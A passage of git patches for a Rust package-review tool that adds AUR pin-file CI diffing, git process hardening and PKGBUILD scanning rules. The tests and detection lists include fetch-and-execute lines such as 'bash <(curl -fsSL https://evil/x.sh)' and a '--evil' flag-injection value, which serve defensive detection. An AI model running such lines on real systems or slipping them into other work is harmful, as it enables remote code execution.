hash. +fn evaluate_aur_ci_diff( + base_content: &str, + head_content: &str, + ctx: &CiContext<'_>, + store: &BaselineStore, + policy: &Policy, +) -> anyhow::Result { + let base_pkgs = parse_aur_ci_lines(base_content)?; + let head_pkgs = parse_aur_ci_lines(head_content)?; + + let mut added = 0usize; + let mut upgraded = 0usize; + let mut unchanged_count = 0usize; + let mut evals: Vec<(String, Option, String)> = Vec::new(); + for (name, new_version) in &head_pkgs { + match base_pkgs.get(name) { + None => { + added += 1; + evals.push((name.clone(), None, new_version.clone())); + } + Some(old) if old != new_version => { + upgraded += 1; + evals.push((name.clone(), Some(old.clone()), new_version.clone())); + } + _ => unchanged_count += 1, + } + } + + check_evaluation_budget(added, upgraded, policy.ci.max_evaluations)?; + + let mut items = Vec::new(); + let mut max_band = VerdictBand::Low; + for (name, old_version, new_version) in evals { + let (verdict, _, _, _) = evaluate_package( + &name, + &new_version, + ctx.ecosystem, + ctx.registry_base, + store, + policy, + )?; + max_band = update_max_band(max_band, verdict.band); + items.push(CiReviewItem { + name, + old_version, + new_version, + is_dev: false, + verdict, + }); + } + + let fail_threshold = ctx + .fail_on + .unwrap_or_else(|| parse_band_str(&policy.ci.fail_on).unwrap_or(VerdictBand::High)); + let passed = band_passes(max_band, fail_threshold); + + Ok(CiReport { + base_ref: ctx.base_ref.to_string(), + lockfile_path: ctx.lockfile_path.to_string(), + total_evaluated: items.len(), + unchanged_count, + max_band, + passed, + items, + }) +} + fn extract_base_lockfile( base_ref: &str, lockfile_path: &Path, is_cargo: bool, is_pypi: bool, + is_aur: bool, ) -> anyhow::Result { let trimmed_ref = base_ref.trim(); if trimmed_ref.starts_with('-') || trimmed_ref.is_empty() { @@ -336,7 +455,7 @@ fn extract_base_lockfile( if is_cargo { return Ok("version = 4\n".to_string()); } - if is_pypi { + if is_pypi || is_aur { return Ok(String::new()); } return Ok(r#"{"lockfileVersion": 3, "packages": {}}"#.to_string()); @@ -635,17 +754,24 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ) .unwrap_err(); assert!(err.to_string().contains("cannot start with '-'")); - let err_ws_flag = - extract_base_lockfile(" --evil", Path::new("package-lock.json"), false, false) - .unwrap_err(); + let err_ws_flag = extract_base_lockfile( + " --evil", + Path::new("package-lock.json"), + false, + false, + false, + ) + .unwrap_err(); assert!(err_ws_flag.to_string().contains("cannot start with '-'")); let err_empty = - extract_base_lockfile(" ", Path::new("package-lock.json"), false, false).unwrap_err(); + extract_base_lockfile(" ", Path::new("package-lock.json"), false, false, false) + .unwrap_err(); assert!(err_empty.to_string().contains("or be empty")); } @@ -910,6 +1036,7 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ); assert!(res.is_err()); let res_nonexistent = extract_base_lockfile( @@ -917,6 +1044,7 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ); assert!(res_nonexistent.is_err()); } @@ -928,6 +1056,7 @@ mod tests { Path::new("Cargo.lock.missing-for-test-xyz"), true, false, + false, ) .unwrap(); assert_eq!(cargo_empty, "version = 4\n"); @@ -937,6 +1066,7 @@ mod tests { Path::new("package-lock.missing-for-test-xyz"), false, false, + false, ) .unwrap(); assert_eq!(npm_empty, r#"{"lockfileVersion": 3, "packages": {}}"#); @@ -946,10 +1076,42 @@ mod tests { Path::new("requirements.missing-for-test-xyz.txt"), false, true, + false, ) .unwrap(); assert_eq!(pypi_empty, ""); assert!(crate::lockfile::parse_requirements_txt_packages(&pypi_empty).is_ok()); + let aur_empty = extract_base_lockfile( + "HEAD", + Path::new("aur.missing-for-test-xyz.lock"), + false, + false, + true, + ) + .unwrap(); + assert_eq!(aur_empty, ""); + assert!(parse_aur_ci_lines(&aur_empty).is_ok()); + } + + #[test] + fn aur_ci_file_parses_pins_and_skips_comments() { + let map = parse_aur_ci_lines("# pinned AUR set\nyay@12.4.2-1\n\nparu@2.0.4-1\n").unwrap(); + assert_eq!(map.get("yay").map(String::as_str), Some("12.4.2-1")); + assert_eq!(map.get("paru").map(String::as_str), Some("2.0.4-1")); + let same = parse_aur_ci_lines("yay@12.4.2-1\nyay@12.4.2-1\n").unwrap(); + assert_eq!(same.len(), 1); + } + + #[test] + fn aur_ci_file_fails_closed_with_line_numbers() { + let err = parse_aur_ci_lines("yay@12.4.2-1\nnot a pin\n").unwrap_err(); + assert!(err.to_string().contains("line 2"), "{err}"); + let err = parse_aur_ci_lines("YAY@12.4.2-1\n").unwrap_err(); + assert!(err.to_string().contains("line 1"), "{err}"); + let err = parse_aur_ci_lines("yay@not-a-version!\n").unwrap_err(); + assert!(err.to_string().contains("line 1"), "{err}"); + let err = parse_aur_ci_lines("yay@1.0-1\nyay@2.0-1\n").unwrap_err(); + assert!(err.to_string().contains("twice"), "{err}"); } #[test] diff --git a/tests/aur_cli.rs b/tests/aur_cli.rs index f78bdf3..f902255 100644 --- a/tests/aur_cli.rs +++ b/tests/aur_cli.rs @@ -1,6 +1,6 @@ //! End-to-end AUR CLI surface tests. `install` refuses AUR before any //! network use (building a PKGBUILD executes its shell script), and `ci` -//! rejects the ecosystem (no AUR lockfile format exists to diff). Adapter +//! accepts a pin file of `pkgbase@pkgver-pkgrel` lines to diff. Adapter //! behavior lives in `src/registry/aur.rs` unit tests and //! `tests/aur_adapter.rs`. @@ -25,22 +25,61 @@ fn install_refuses_aur_before_any_network_use() { .stderr(predicate::str::contains("executes its PKGBUILD")); } +fn init_aur_ci_repo(dir: &Path, head_content: &str) { + fixture_git(dir, &["init", "--quiet", "-b", "main"]); + fixture_git(dir, &["config", "user.email", "alice@example.com"]); + fixture_git(dir, &["config", "user.name", "Fixture"]); + fixture_git(dir, &["config", "commit.gpgsign", "false"]); + std::fs::write(dir.join("aur.lock"), "demopkg@1.0-1\n").unwrap(); + fixture_git(dir, &["add", "-A"]); + fixture_git(dir, &["commit", "--quiet", "-m", "base pins"]); + std::fs::write(dir.join("aur.lock"), head_content).unwrap(); +} + +#[test] +fn ci_aur_passes_when_pins_are_unchanged() { + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("PASSED")); +} + #[test] -fn ci_rejects_aur_ecosystem() { +fn ci_aur_rejects_malformed_pin_file() { + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\nnot a pin\n"); let isolated = tempfile::tempdir().unwrap(); Command::cargo_bin("blueline") .unwrap() + .current_dir(repo.path()) .env("BLUELINE_DATA_DIR", isolated.path()) .args([ "--ecosystem", "aur", "ci", "--lockfile", - "package-lock.json", + "aur.lock", + "--base", + "HEAD", ]) .assert() .failure() - .stderr(predicate::str::contains("AUR CI scanning is not supported")); + .stderr(predicate::str::contains("line 2")); } struct AurReviewFixture { From f8df90b0846c974d165e9a7c4c81f048552f9194 Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 21:08:29 +0530 Subject: [PATCH 04/10] Kill surviving ci mutants and harden AUR pin review Commit made by muse-spark-1.3 in T3 Code on behalf of Kriday. --- README.md | 2 +- src/ci.rs | 61 ++++++++++++++++++++++++++++++++ tests/aur_cli.rs | 92 +++++++++++++++++++++++++++++++++++++++++++++--- 3 files changed, 150 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index d1e06ca..849fae3 100644 --- a/README.md +++ b/README.md @@ -97,7 +97,7 @@ function AURPreInstall(packages) for _, pkg in ipairs(packages) do local ok = os.execute( "blueline --ecosystem aur review " - .. pkg .. " --yes --policy blueline.toml" + .. string.format("%q", pkg) .. " --yes --policy blueline.toml" ) if ok ~= 0 then return 1 end end diff --git a/src/ci.rs b/src/ci.rs index 6cc36d1..b076242 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -68,6 +68,7 @@ fn is_pypi_lockfile(ecosystem: Ecosystem, lockfile_path: &Path) -> bool { /// Bounds for the AUR CI file: one `pkgbase@pkgver-pkgrel` per line. const MAX_AUR_CI_LINES: usize = 4096; const MAX_AUR_CI_LINE_BYTES: usize = 512; +const MAX_AUR_CI_FILE_BYTES: usize = MAX_AUR_CI_LINES * MAX_AUR_CI_LINE_BYTES; /// Parse an AUR CI file into `pkgbase -> version`. Blank lines and `#` /// comments are skipped; everything else must be exactly one valid @@ -75,6 +76,9 @@ const MAX_AUR_CI_LINE_BYTES: usize = 512; /// offending line number. A repeated pkgbase with a different version fails /// closed so the file cannot state two pins for one package. fn parse_aur_ci_lines(content: &str) -> anyhow::Result> { + if content.len() > MAX_AUR_CI_FILE_BYTES { + anyhow::bail!("AUR CI file exceeds {MAX_AUR_CI_FILE_BYTES} bytes"); + } let mut map = BTreeMap::new(); for (idx, raw) in content.lines().enumerate() { let lineno = idx + 1; @@ -1114,6 +1118,63 @@ mod tests { assert!(err.to_string().contains("twice"), "{err}"); } + #[test] + fn aur_ci_file_enforces_line_and_total_caps() { + let overlong = format!("{}@1.0-1\n", "y".repeat(MAX_AUR_CI_LINE_BYTES)); + let err = parse_aur_ci_lines(&overlong).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + let at_cap = format!("{}@1.0-1\n", "Y".repeat(MAX_AUR_CI_LINE_BYTES - 6)); + let err = parse_aur_ci_lines(&at_cap).unwrap_err(); + assert!(err.to_string().contains("invalid pkgbase"), "{err}"); + let huge = "#".repeat(MAX_AUR_CI_FILE_BYTES + 1); + let err = parse_aur_ci_lines(&huge).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + let chunk = format!("{}\n", "#".repeat(511)); + assert_eq!(chunk.len(), 512); + let full = chunk.repeat(MAX_AUR_CI_LINES); + assert_eq!(full.len(), MAX_AUR_CI_FILE_BYTES); + assert!(parse_aur_ci_lines(&full).is_ok()); + } + + #[test] + fn aur_ci_file_enforces_entry_cap() { + let mut pins = String::new(); + for i in 0..MAX_AUR_CI_LINES { + pins.push_str(&format!("pkg{i:04}@1.0-1\n")); + } + assert_eq!(parse_aur_ci_lines(&pins).unwrap().len(), MAX_AUR_CI_LINES); + pins.push_str("one-more@1.0-1\n"); + let err = parse_aur_ci_lines(&pins).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + } + + #[test] + fn aur_ci_diff_enforces_evaluation_budget() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let mut policy = Policy::default(); + policy.ci.max_evaluations = 1; + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + let err = + evaluate_aur_ci_diff("", "yay@1.0-1\nparu@2.0-1\n", &ctx, &store, &policy).unwrap_err(); + assert!(err.to_string().contains("maximum configured"), "{err}"); + let err = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\n", + "yay@2.0-1\nparu@2.1-1\n", + &ctx, + &store, + &policy, + ) + .unwrap_err(); + assert!(err.to_string().contains("maximum configured"), "{err}"); + } + #[test] fn cargo_dispatch_by_filename_or_ecosystem() { // Kills the || → && mutant at evaluate_lockfile_diff:142. diff --git a/tests/aur_cli.rs b/tests/aur_cli.rs index f902255..aa33447 100644 --- a/tests/aur_cli.rs +++ b/tests/aur_cli.rs @@ -25,12 +25,12 @@ fn install_refuses_aur_before_any_network_use() { .stderr(predicate::str::contains("executes its PKGBUILD")); } -fn init_aur_ci_repo(dir: &Path, head_content: &str) { +fn init_aur_ci_repo(dir: &Path, base_content: &str, head_content: &str) { fixture_git(dir, &["init", "--quiet", "-b", "main"]); fixture_git(dir, &["config", "user.email", "alice@example.com"]); fixture_git(dir, &["config", "user.name", "Fixture"]); fixture_git(dir, &["config", "commit.gpgsign", "false"]); - std::fs::write(dir.join("aur.lock"), "demopkg@1.0-1\n").unwrap(); + std::fs::write(dir.join("aur.lock"), base_content).unwrap(); fixture_git(dir, &["add", "-A"]); fixture_git(dir, &["commit", "--quiet", "-m", "base pins"]); std::fs::write(dir.join("aur.lock"), head_content).unwrap(); @@ -39,7 +39,7 @@ fn init_aur_ci_repo(dir: &Path, head_content: &str) { #[test] fn ci_aur_passes_when_pins_are_unchanged() { let repo = tempfile::tempdir().unwrap(); - init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n"); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.0-1\n"); let isolated = tempfile::tempdir().unwrap(); Command::cargo_bin("blueline") .unwrap() @@ -62,7 +62,7 @@ fn ci_aur_passes_when_pins_are_unchanged() { #[test] fn ci_aur_rejects_malformed_pin_file() { let repo = tempfile::tempdir().unwrap(); - init_aur_ci_repo(repo.path(), "demopkg@1.0-1\nnot a pin\n"); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.0-1\nnot a pin\n"); let isolated = tempfile::tempdir().unwrap(); Command::cargo_bin("blueline") .unwrap() @@ -82,6 +82,90 @@ fn ci_aur_rejects_malformed_pin_file() { .stderr(predicate::str::contains("line 2")); } +#[test] +fn ci_aur_evaluates_added_pin() { + let fixture = spawn_aur_review_fixture(); + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "# pins\n", "demopkg@1.1-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "--registry", + &fixture.base, + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("demopkg")) + .stdout(predicate::str::contains("1.1-1")); +} + +#[test] +fn ci_aur_evaluates_upgraded_pin() { + let fixture = spawn_aur_review_fixture(); + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.1-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "--registry", + &fixture.base, + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("demopkg")) + .stdout(predicate::str::contains("1.0-1")); +} + +#[test] +fn ci_aur_missing_base_reviews_head_pins() { + let repo = tempfile::tempdir().unwrap(); + fixture_git(repo.path(), &["init", "--quiet", "-b", "main"]); + fixture_git(repo.path(), &["config", "user.email", "alice@example.com"]); + fixture_git(repo.path(), &["config", "user.name", "Fixture"]); + fixture_git(repo.path(), &["config", "commit.gpgsign", "false"]); + std::fs::write(repo.path().join("other.txt"), "unrelated\n").unwrap(); + fixture_git(repo.path(), &["add", "-A"]); + fixture_git(repo.path(), &["commit", "--quiet", "-m", "no pins yet"]); + std::fs::write(repo.path().join("aur.lock"), "# none yet\n").unwrap(); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("PASSED")); +} + struct AurReviewFixture { base: String, _server: std::thread::JoinHandle<()>, From ca8eb330e86c1c3a2589517d38d430ce32ee654a Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 22:25:43 +0530 Subject: [PATCH 05/10] test(aur): assert unchanged pin count in aur ci diff to kill surviving mutant --- src/ci.rs | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/src/ci.rs b/src/ci.rs index b076242..f3ae972 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -1175,6 +1175,32 @@ mod tests { assert!(err.to_string().contains("maximum configured"), "{err}"); } + #[test] + fn aur_ci_diff_counts_unchanged_pins() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let policy = Policy::load_or_default(None).unwrap(); + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + // Base and head share the same pins: both take the unchanged arm and + // evals stays empty, so evaluate_package and the network are untouched. + let report = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\n", + "yay@1.0-1\nparu@2.0-1\n", + &ctx, + &store, + &policy, + ) + .unwrap(); + assert_eq!(report.unchanged_count, 2); + assert_eq!(report.total_evaluated, 0); + } + #[test] fn cargo_dispatch_by_filename_or_ecosystem() { // Kills the || → && mutant at evaluate_lockfile_diff:142. From 22f44825a18b1179e8f4874065a0d1cf438fcf0c Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 22:52:03 +0530 Subject: [PATCH 06/10] =?UTF-8?q?fix(aur):=20review=20P1s=20=E2=80=94=20bo?= =?UTF-8?q?dy=20comments,=20baseline=20severity,=20git=20transport=20hang?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Strip comments from captured PKGBUILD function bodies so commented-out inside build() no longer fires R13/R14/R17 at HIGH - Raise R00_BASELINE_UNREADABLE to High so unreadable baselines cannot slip past the R12/R19 pair rules for a Low finding - Run git in its own process group and drain pipes with a bounded receive so transport children outliving git cannot hang the caller - Fire R13 on interpreter process substitution (bash <(curl ...)) - Pin git to LC_ALL=C for locale-independent error classification --- CHANGELOG.md | 12 +++++++ src/pkgbuild.rs | 85 +++++++++++++++++++++++++++++++++++++++++++-- src/registry/aur.rs | 67 +++++++++++++++++++++++++---------- src/review.rs | 25 +++++++++---- 4 files changed, 163 insertions(+), 26 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eb656ff..0c2df92 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -89,6 +89,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/). ### Fixed +- AUR review hardening from the PR #53 review: PKGBUILD function bodies are + comment-stripped before rule scanning, so a commented-out `curl | bash` + inside `build()` no longer produces a HIGH R13/R14/R17 false positive; an + unreadable baseline PKGBUILD now raises `R00_BASELINE_UNREADABLE` at High + (matching the unparseable case) instead of Low, so invalid-UTF-8 baselines + cannot slip past the R12/R19 pair rules for a Low finding; interpreter + process substitution (`bash <(curl -fsSL https://…)` and fused + `bash<(curl …)`) now fires R13 even without a pipe; `git` runs under + `LC_ALL=C` so error classification no longer depends on the system locale; + and `git` invocations run in their own process group with bounded pipe + drain, so a transport child (`git-remote-https`, `ssh`, …) that outlives + git and holds the output pipes can no longer hang the review. - AUR review hardening from the adapter review follow-up: per-commit `.SRCINFO` reads distinguish content failures (missing, oversized, non-UTF-8, malformed — counted as skips) from git plumbing failures diff --git a/src/pkgbuild.rs b/src/pkgbuild.rs index 43fc337..dfb9eda 100644 --- a/src/pkgbuild.rs +++ b/src/pkgbuild.rs @@ -924,7 +924,10 @@ pub fn parse_pkgbuild(input: &str) -> Result { .collect::>() .join("\n"); folded.has_indirection |= has_true_indirection(&scan); - folded.func_bodies.insert(name, body); + // Rules run over these bodies, so they must be comment-stripped + // like `scan`: a commented-out `curl | bash` inside a function + // must not fire R13. + folded.func_bodies.insert(name, scan); idx = j + 1; continue; } @@ -1833,13 +1836,51 @@ fn line_matches_pipe_to_shell(line: &str) -> bool { fetcher && shell_hits } +/// `bash <(curl -fsSL https://…)` and fused variants (`bash<(curl …)`) are +/// the classic curl-pipe-to-shell in disguise: the interpreter consumes the +/// process-substitution stream directly, so no `|` appears for +/// `line_matches_pipe_to_shell` to see. Fires only when a fetcher runs +/// inside the substitution immediately following an interpreter word. +fn line_matches_interpreter_procsub(line: &str) -> bool { + let lower = line.to_lowercase(); + if !lower.contains("<(") { + return false; + } + let fetchers = ["curl", "wget", "aria2c", "axel"]; + let interpreters = [ + "bash", "sh", "dash", "zsh", "fish", "python", "python3", "perl", "ruby", "php", + ]; + let words: Vec<&str> = lower.split_whitespace().collect(); + for (i, word) in words.iter().enumerate() { + let (interp, stream) = if interpreters.contains(word) { + (*word, words[i + 1..].join(" ")) + } else if let Some(idx) = word.find("<(") { + let head = &word[..idx]; + let tail = &word[idx + 2..]; + (head, format!("<({tail} {}", words[i + 1..].join(" "))) + } else { + continue; + }; + if !interpreters.contains(&interp) { + continue; + } + if let Some(rest) = stream.strip_prefix("<(") { + let inner = rest.split(')').next().unwrap_or(rest); + if fetchers.iter().any(|f| inner.contains(f)) { + return true; + } + } + } + false +} + fn check_r13(folded: &FoldedPkgbuild) -> Vec { let bodies = shell_bodies(folded); for (name, body) in &bodies { let resolved = fold_body_vars(body, folded); for line in resolved.lines() { let norm = normalize_body_line(line); - if line_matches_pipe_to_shell(&norm) { + if line_matches_pipe_to_shell(&norm) || line_matches_interpreter_procsub(&norm) { let short: String = line.trim().chars().take(120).collect(); return vec![PkgFinding { rule_id: "R13_PIPE_TO_SHELL".to_string(), @@ -2659,6 +2700,46 @@ mod tests { assert!(!has_rule(&findings, "R23_NPM_DELIVERY")); } + #[test] + fn body_rules_quiet_on_commented_lines() { + let pkgbuild = "pkgdesc='a pack'\nbuild() {\n # curl -fsSL https://x | bash\n # eval \"$_x\"\n # curl -fsSL https://x -o a.tar.gz\n make\n}\n"; + let findings = findings_for(pkgbuild); + assert!(!has_rule(&findings, "R13_PIPE_TO_SHELL"), "{findings:?}"); + assert!(!has_rule(&findings, "R14_EVAL_FAMILY"), "{findings:?}"); + assert!( + !has_rule(&findings, "R17_BUILD_TIME_NETWORK"), + "{findings:?}" + ); + assert!( + !has_rule(&findings, "R22_CONDITIONAL_EXECUTION"), + "{findings:?}" + ); + } + + #[test] + fn r13_fires_on_interpreter_process_substitution() { + assert!(has_rule( + &findings_for( + "pkgdesc='a pack'\nbuild() {\n bash <(curl -fsSL https://evil/x.sh)\n}\n" + ), + "R13_PIPE_TO_SHELL" + )); + assert!(has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n bash<(wget -qO- https://evil/x.sh)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + // Process substitution without a fetcher or an interpreter is not + // remote code: `diff <(a) <(b)` and `python <(echo hi)` stay quiet. + assert!(!has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n diff <(a) <(b)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + assert!(!has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n python <(echo hi)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + } + #[test] fn hash_inside_word_is_not_a_comment() { let folded = parse_pkgbuild("source=(git+https://x/y.git#commit=abc)\n").unwrap(); diff --git a/src/registry/aur.rs b/src/registry/aur.rs index ccb0746..98cb180 100644 --- a/src/registry/aur.rs +++ b/src/registry/aur.rs @@ -6,6 +6,8 @@ use crate::version::{AurVersionInfo, VersionInfo}; use serde::Deserialize; use sha2::{Digest, Sha256}; use std::io::Read; +#[cfg(unix)] +use std::os::unix::process::CommandExt; use std::path::Path; use std::process::{Command, Stdio}; use ureq::Agent; @@ -237,6 +239,11 @@ const MAX_GIT_SMALL_OUTPUT_BYTES: u64 = 64 * 1024; /// not hang the review forever. const GIT_TIMEOUT_SECS: u64 = 120; +/// How long a `git` invocation that has exited may keep its transport +/// children (`git-remote-https`, `ssh`, …) holding the output pipes before +/// blueline refuses to wait any longer. +const GIT_STREAM_GRACE_SECS: u64 = 5; + /// One commit from the history walk: 40-hex hash plus committer timestamp. #[derive(Debug, Clone, PartialEq, Eq)] struct CommitMeta { @@ -287,44 +294,54 @@ fn git_spawn_error(e: &std::io::Error) -> BluelineError { /// Run the system `git` with fixed argv (never a shell), capture stdout /// capped at `max_stdout` bytes, and fail closed on any nonzero exit. Stderr -/// and stdout are drained on threads so a chatty child cannot deadlock the -/// pipes, and the child is killed if it exceeds `GIT_TIMEOUT_SECS` — a -/// remote that connects but never transfers must not hang the review. +/// and stdout are drained on detached threads so a chatty child cannot +/// deadlock the pipes, and the child is killed if it exceeds +/// `GIT_TIMEOUT_SECS` — a remote that connects but never transfers must not +/// hang the review. `git` runs in its own process group, and because its +/// transport children (`git-remote-https`, `ssh`, …) inherit the pipes and +/// can outlive it, results are received with a bounded wait instead of a +/// `join`: a transport that holds the pipes open must not hang the caller. fn git_output( dir: Option<&Path>, args: &[&str], max_stdout: u64, ) -> Result, BluelineError> { - let mut child = Command::new("git") - .args(args) + let mut cmd = Command::new("git"); + cmd.args(args) .current_dir(dir.unwrap_or(Path::new("."))) + // Error-message classification elsewhere matches git's English + // wording, so the locale must not translate it. + .env("LC_ALL", "C") .stdin(Stdio::null()) .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn() - .map_err(|e| git_spawn_error(&e))?; + .stderr(Stdio::piped()); + #[cfg(unix)] + cmd.process_group(0); + let mut child = cmd.spawn().map_err(|e| git_spawn_error(&e))?; let stderr_pipe = child .stderr .take() .ok_or_else(|| BluelineError::Network("git stderr pipe unavailable".to_string()))?; - let stderr_reader = std::thread::spawn(move || { + let (stderr_tx, stderr_rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { let mut buf = Vec::new(); let _ = stderr_pipe .take(MAX_GIT_STDERR_BYTES + 1) .read_to_end(&mut buf); - buf + let _ = stderr_tx.send(buf); }); let stdout_pipe = child .stdout .take() .ok_or_else(|| BluelineError::Network("git stdout pipe unavailable".to_string()))?; - let stdout_reader = std::thread::spawn(move || { + let (stdout_tx, stdout_rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { let mut out = Vec::new(); let read_ok = stdout_pipe .take(max_stdout + 1) .read_to_end(&mut out) .is_ok(); - (read_ok, out) + let _ = stdout_tx.send((read_ok, out)); }); let deadline = std::time::Instant::now() + std::time::Duration::from_secs(GIT_TIMEOUT_SECS); let status = loop { @@ -344,12 +361,26 @@ fn git_output( Err(e) => return Err(BluelineError::Network(format!("waiting for git: {e}"))), } }; - let stderr = stderr_reader - .join() - .map_err(|_| BluelineError::Network("git stderr reader panicked".to_string()))?; - let (stdout_ok, out) = stdout_reader - .join() - .map_err(|_| BluelineError::Network("git stdout reader panicked".to_string()))?; + fn drained( + rx: std::sync::mpsc::Receiver, + what: &str, + verb: &str, + ) -> Result { + match rx.recv_timeout(std::time::Duration::from_secs(GIT_STREAM_GRACE_SECS)) { + Ok(buf) => Ok(buf), + Err(std::sync::mpsc::RecvTimeoutError::Timeout) => { + Err(BluelineError::Network(format!( + "git {verb} exited but its transport still holds the {what} pipe after \ + {GIT_STREAM_GRACE_SECS}s; refusing to wait" + ))) + } + Err(std::sync::mpsc::RecvTimeoutError::Disconnected) => Err(BluelineError::Network( + format!("git {what} reader panicked"), + )), + } + } + let stderr = drained(stderr_rx, "stderr", git_verb(args))?; + let (stdout_ok, out) = drained(stdout_rx, "stdout", git_verb(args))?; if !stdout_ok { return Err(BluelineError::Network(format!( "reading git {} output failed", diff --git a/src/review.rs b/src/review.rs index 44aa876..c107437 100644 --- a/src/review.rs +++ b/src/review.rs @@ -292,12 +292,7 @@ fn evaluate_with_registry( if ecosystem == Ecosystem::Aur { if matches!(base_pkgbuild.as_deref(), Some("")) { - verdict.findings.push(crate::verdict::Finding { - rule_id: "R00_BASELINE_UNREADABLE".to_string(), - severity: crate::verdict::VerdictBand::Low, - title: "Baseline PKGBUILD unreadable".to_string(), - description: "baseline PKGBUILD could not be read; pair rules skipped".to_string(), - }); + verdict.findings.push(baseline_unreadable_finding()); } // `None` is first sighting (no baseline package); `Some("")` is an // unreadable baseline file, already surfaced above. Both skip pair @@ -396,6 +391,17 @@ fn prepare_extracted_root( Ok((root, manifest)) } +// Pair rules cannot run against a baseline whose PKGBUILD cannot be read, +// so the refusal itself must be loud: High, matching the unparseable case. +fn baseline_unreadable_finding() -> crate::verdict::Finding { + crate::verdict::Finding { + rule_id: "R00_BASELINE_UNREADABLE".to_string(), + severity: crate::verdict::VerdictBand::High, + title: "Baseline PKGBUILD unreadable".to_string(), + description: "baseline PKGBUILD could not be read; pair rules skipped".to_string(), + } +} + fn bootstrap_hint(verdict: &crate::verdict::Verdict) -> Option { let name = &crate::render::sanitize_single_line(&verdict.name); if verdict @@ -871,6 +877,13 @@ fn package_json_path(root: &std::path::Path) -> std::path::PathBuf { mod tests { use super::*; + #[test] + fn baseline_unreadable_finding_is_high() { + let f = baseline_unreadable_finding(); + assert_eq!(f.rule_id, "R00_BASELINE_UNREADABLE"); + assert_eq!(f.severity, crate::verdict::VerdictBand::High); + } + #[test] fn parses_plain_spec() { assert_eq!( From d7dafd696b4a4a10af83e1af74770a7691bea277 Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 23:12:31 +0530 Subject: [PATCH 07/10] fix(aur): close remaining review P2s - Reuse one shallow clone per pkgbase across resolve, releases walk, and author lookup (cache keyed by full clone url, capped at 8 entries); fetch_verified keeps its fresh re-clone as an independent sample - Add removed_count to CiReport so deleted pins surface in the report and both summaries - Decode PKGBUILD $'...' \xHH and octal escapes as raw bytes like bash (non-UTF-8 becomes U+FFFD, octal over one byte fails closed) --- CHANGELOG.md | 11 ++++++ src/ci.rs | 45 +++++++++++++++++++++++-- src/pkgbuild.rs | 81 +++++++++++++++++++++++++++++++-------------- src/registry/aur.rs | 80 ++++++++++++++++++++++++++++++++++++-------- 4 files changed, 177 insertions(+), 40 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0c2df92..33edb0f 100644 --- 